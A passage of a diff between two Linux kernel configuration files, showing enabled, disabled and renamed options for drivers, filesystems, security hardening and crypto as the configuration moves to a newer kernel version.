is not set @@ -1420,7 +1543,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1439,6 +1562,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1448,7 +1572,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1462,13 +1585,11 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1479,9 +1600,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1489,104 +1608,22 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -# CONFIG_I2C_MUX is not set -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PLATFORM is not set -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_EMEV2 is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1599,6 +1636,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1613,22 +1651,12 @@ CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set -# CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_GOLDFISH is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1648,6 +1676,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1658,6 +1687,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1669,94 +1701,46 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set -# CONFIG_MFD_IQS62X is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1833,12 +1817,6 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set -# CONFIG_BACKLIGHT_ADP8860 is not set -# CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3639 is not set -# CONFIG_BACKLIGHT_LV5207LP is not set -# CONFIG_BACKLIGHT_BD6107 is not set -# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1849,6 +1827,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1874,7 +1853,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1901,6 +1879,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1909,9 +1889,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1924,11 +1906,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1938,6 +1924,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -1963,17 +1950,17 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID is not set -# end of I2C HID support - # # Intel ISH HID support # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2060,7 +2047,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2096,9 +2083,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2106,7 +2090,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -2137,6 +2120,7 @@ CONFIG_MMC_CQHCI=m # CONFIG_MMC_HSQ is not set # CONFIG_MMC_TOSHIBA_PCI is not set # CONFIG_MMC_MTK is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2165,46 +2149,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set # # Platform RTC drivers @@ -2233,6 +2185,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2240,8 +2193,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2258,21 +2213,66 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y -# CONFIG_COMMON_CLK_MAX9485 is not set -# CONFIG_COMMON_CLK_SI5341 is not set -# CONFIG_COMMON_CLK_SI5351 is not set -# CONFIG_COMMON_CLK_SI544 is not set -# CONFIG_COMMON_CLK_CDCE706 is not set -# CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2296,7 +2296,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2330,11 +2334,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2345,11 +2344,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2360,7 +2369,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2369,7 +2377,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2385,7 +2392,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2405,16 +2419,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2424,11 +2438,12 @@ CONFIG_NVMEM=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2454,10 +2469,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2496,6 +2509,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2511,9 +2525,10 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2582,13 +2597,10 @@ CONFIG_IO_WQ=y # # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set -# CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set -CONFIG_INTEL_TXT=y +CONFIG_SECURITYFS=y +# CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2603,9 +2615,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2638,7 +2658,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2646,114 +2666,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set 